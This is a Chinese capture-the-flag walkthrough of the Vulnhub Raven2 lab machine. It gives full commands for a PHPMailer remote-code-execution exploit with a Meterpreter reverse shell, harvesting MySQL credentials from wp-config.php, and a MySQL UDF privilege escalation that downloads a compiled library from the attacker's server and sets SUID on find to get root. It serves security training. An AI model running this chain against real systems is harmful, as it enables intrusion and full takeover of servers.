Vulnhub系列靶机-Raven2

文章目录

  • Raven2 渗透测试
    • 1. 信息收集
      • 1.1 主机探测
      • 1.2 端口扫描
      • 1.3 目录爆破
    • 2. 漏洞探测
    • 3. 漏洞利用
      • 3.1 msfconsole
      • 3.2 交互式shell
    • 4. 权限提升

Raven2 渗透测试

1. 信息收集

1.1 主机探测

arp-scan -l

image-20231013144424941

1.2 端口扫描

nmap -p- -A 192.168.188.213

image-20231013144601315

通过nmap工具进行端口扫描发现靶机开放了22,80,111,58447端口。

访问Web页面

image-20231013144749607

使用浏览器插件Wappalyzer,查看网站使用的具体框架信息

image-20231013145503801

1.3 目录爆破

dirsearch -u 192.168.188.213 -e * -i 200

image-20231013144920587

2. 漏洞探测

访问一下wp-login.php页面

image-20231013145032185

尝试登录发现找不到网站

image-20231013155117407

访问http://192.168.188.213/vendor/页面

image-20231013150035714

点击PATH发现一个flag1

image-20231013160145841

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

点击README.md文件发现是PHPMailer。

image-20231013151652149

PHPMailer的版本信息5.2.16。

image-20231013151727625

经搜索后发现PHPMailer是一个用于发送电子邮件的PHP函数包。在网上搜索资料后发现PHPMailer5.2.16版本的漏洞有远程命令执行漏洞。

image-20231013155633414

Web页面中也有发送邮件的位置,这样就对应上了。

image-20231013160752128

3. 漏洞利用

3.1 msfconsole

使用msfconsole搜索phpmailer

search phpmailer

image-20231013155814058

info 0

有两个先查看下第一个描述情况。

image-20231013155928189

发现第一个版本需要在5.2.18之下,而之前发现的版本为5.2.16正好小于5.2.18。那么我们直接使用第一个即可。

use 0

image-20231013160120055

配置选项如下

options
set RHOSTS 192.168.188.213 			  	  # 靶机的IP地址
set TARGETURI /contact.php   			  # 邮件功能页面
set WEB_ROOT /var/www/html    			  # 网站绝对路径
set payload php/meterpreter/reverse_tcp	  # 设置payload
set LHOST 192.168.188.157   			  # kali的IP地址
run

image-20231013161139598

复制生成的0nB8rTnS.php拼接在URL后然后进行访问。

image-20231013165045546

反弹成功。

image-20231013164222374

在/var/www路径下可以看到flag2.txt文件

image-20231013164513462

flag2{6a8ed560f0b5358ecf844108048eb337}

切换为shell形式,搜索所有的flag

shell
find ./ -name "flag*"

image-20231013164715066

./html/wordpress/wp-content/uploads/2018/11/flag3.png

image-20231013164806832

f1ag3a0f568aa9de277887f37730d71520d9b}

3.2 交互式shell

使用python一句话反弹交互式shell。

python -c 'import pty; pty.spawn("/bin/bash")'

image-20231013165226185

尝试搜索wordpress的配置文件

find ./ -name "*fig*"

image-20231013165539143

在wp-config.php文件中发现了mysql的数据库账号密码为:

root
R@v3nSecurity

image-20231013165651099

使用账号密码成功登录数据库。

mysql -uroot -pR@v3nSecurity

image-20231013165806991

4. 权限提升

MYSQL低于5.5的漏洞可以使用UDF提权,查看mysql的运行权限。发现是mysqld是root权限,查看secure_file_priv的设置发现为空,满足udf提权。

ps -aux|grep mysql  				#查看mysql的运行权限
select version();   				#查看mysql版本
select @@basedir;   				#确认mysql安装位置
show variables like '%basedir%';    #确认mysql安装位置
show variables like '%secure%';  	#查看可导出文件位置

image-20231013170233373

MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。查看插件位置为:/usr/lib/mysql/plugin/,Windows的话还需查看操作系统版本。

show variables like '%plugin%';  	 #查找插件位置
show variables like '%compile%';  	 #查看系统版本

image-20231013170315512

通过以上信息可知满足udf提权,直接利用1518进行提权,先搜索1518.c,然后查看其所在位置,并复制到桌面。

searchsploit 1518.c  			 #搜索1518.c
locate 1518.c	 				 #查看下本地所存放路径
cp /usr/share/exploitdb/exploits/linux/local/1518.c .  #复制到当前所在文件夹

image-20231013170420371

image-20231013170431915

image-20231013170519066

利用gcc编译,生成1518.so文件。

gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc

命令参数说明

  • -g:生成调试信息。
  • -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
  • -o:执行命令后的文件名。
  • -lc:-l 库 c库名。
  • -Wl:该选项告诉编译器将后面的参数传递给链接器。
  • -soname:则指定了动态库的soname(简单共享名,Short for shared object name)

image-20231013170609725

在kali上使用python开启http服务。

python3 -m http.server 7777

在获取的shell中,将该“.so”文件传输到靶机上的/tmp目录下。并且使用wget命令下载1518.so文件。将下载的文件赋予执行权限。

cd /tmp
wget http://192.168.188.157:7777/1518.so
chmod 777 *

image-20231013171059486

再次登录mysql,并使用一下命令创建自定义函数。

# 连接mysql数据库
mysql -uroot -pR@v3nSecurity# 使用mysql数据库
use mysql;# 创建foo表
create table foo(line blob);# 往foo表中插入二进制的1518.so
insert into foo values(load_file('/tmp/1518.so'));# 导出1518.so
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';# 创建do_system自定义函数
create function do_system returns integer soname '1518.so';# 调用do_system函数给find命令所有者的suid权限,使其执行root
select do_system('chmod u+s /usr/bin/find');# 导入成功后可查看一下 mysql 函数里面是否新增了do_system:
select * from mysql.func;

image-20231013171358098

利用find命名执行whoami,发现当前为root权限。

touch 11
find 11 -exec "whoami" \;
find 11 -exec "/bin/sh" \;
cd /
ls
cd root
ls
cat flag4.txt

image-20231013171809501

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/138950.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android Studio Giraffe | 2022.3.1

Android Gradle 插件和 Android Studio 兼容性 Android Studio 构建系统以 Gradle 为基础,并且 Android Gradle 插件 (AGP) 添加了几项专用于构建 Android 应用的功能。下表列出了各个 Android Studio 版本所需的 AGP 版本。 如果您的项目不受某个特定版本的 Andr…

六分科技CEO李阳:精准定位助力汽车智能化普及

10月10日,2023四维图新用户大会在上海成功举办。大会现场,六分科技展示了基于PPP-RTK技术的“星璨”产品和软硬件一体化解决方案。同时在智能驾驶主题论坛上,六分科技CEO李阳受邀发表了以《精准定位助力汽车智能化普及》为主题的演讲。 高精度…

04 MIT线性代数-矩阵的LU分解 Factorization into A=LU

目的: 从矩阵的角度理解高斯消元法, 完成LU分解得到ALU 1.矩阵乘积的逆矩阵 Inverse of a product 2.矩阵乘积的转置 Transpose of a product 3.转置矩阵的逆矩阵 Inverse of a transpose 4.矩阵的LU分解 U为上三角阵(Upper triangular matrix), L为下三角阵(Lower triangular…

故障预测与健康管理(PHM)在工业领域的发展前景

故障预测与健康管理(PHM)作为一种关键技术,已经在工业领域引起了广泛的关注和应用。PHM利用传感器、数据科学和智能算法等技术手段,通过实时监测和分析设备和系统的状态,提前发现潜在故障,并采取适当的维修…

Linux性能优化--性能工具:特定进程内存

5.0 概述 本章介绍的工具使你能诊断应用程序与内存子系统之间的交互,该子系统由Linux内核和CPU管理。由于内存子系统的不同层次在性能上有数量级的差异,因此,修复应用程序使其有效地使用内存子系统会对程序性能产生巨大的影响。 阅读本章后&…

功夫猫小游戏

欢迎来到程序小院 功夫猫 玩法&#xff1a; 对准对方猫点击鼠标左键进行扑街&#xff0c;碰到敌方猫扑街X1&#xff0c;不要让对方猫碰到自己&#xff0c;统计扑街次数&#xff0c;快去玩功夫猫吧^^。开始游戏https://www.ormcc.com/play/gameStart/189 html <canvas id&q…

单片机TDL的功能、应用与技术特点 | 百能云芯

在现代电子领域中&#xff0c;单片机&#xff08;Microcontroller&#xff09;是一种至关重要的电子元件&#xff0c;广泛应用于各种应用中。TDL&#xff08;Time Division Multiplexing&#xff0c;时分多路复用&#xff09;是一种数据传输技术&#xff0c;结合单片机的应用&a…

【线性表的查找,线性表插入,线性表的删除,线性表的链式表示和实现】

文章目录 线性表的查找线性表插入线性表的删除线性表的链式表示和实现1.单链表&#xff0c;双链表&#xff0c;循环列表2.头指针&#xff0c;头结点和首元结点3.链表的存储结构特点 线性表的查找 int LocateElem(Sqlist L,ElemType e){ //在线性表L中查找值为e的数据元素&…

卡顿分析与布局优化

卡顿分析与布局优化 大多数用户感知到的卡顿等性能问题的最主要根源都是因为渲染性能。Android系统每隔大概16.6ms发出VSYNC信 号&#xff0c;触发对UI进行渲染&#xff0c;如果每次渲染都成功&#xff0c;这样就能够达到流畅的画面所需要的60fps&#xff0c;为了能够实现60fp…

HTML 常用标签及练习

常用标签 <head>中的标签 概述 head中的内容不显示到页面上 标签说明<title>定义网页的标题<meta>定义网页的基本信息&#xff08;供搜索引擎&#xff09;<style>定义CSS样式<link>链接外部CSS文件或脚本文件<script>定义脚本语言<…

密码学三 btc 钱包 节点 挖矿 51%攻击 双花攻击

03-BTC-数据结构_哔哩哔哩_bilibili 哈希指针并解释 比特币的每个区块都包含一个区块头和区块体两部分。 在区块头中,有一个字段是用于存储前一个区块的哈希值,我们把这个存储前一个区块哈希值的字段称为“哈希指针”。 这个哈希指针的作用是将本区块指向前一个区块,连接起整…

创新医疗器械行业机会渐行渐近

完整PPT下载链接&#xff01;https://mp.weixin.qq.com/s?__bizMzU2OTc4ODA4OA&mid2247548680&idx1&sna243fedf8f28fbab73b7fa6c933cab1e&chksmfcfb2cdfcb8ca5c9d909f1fdfc05473d0d432b163b5466ee38295b6f1492583637df850a239d&token87782696&langzh_…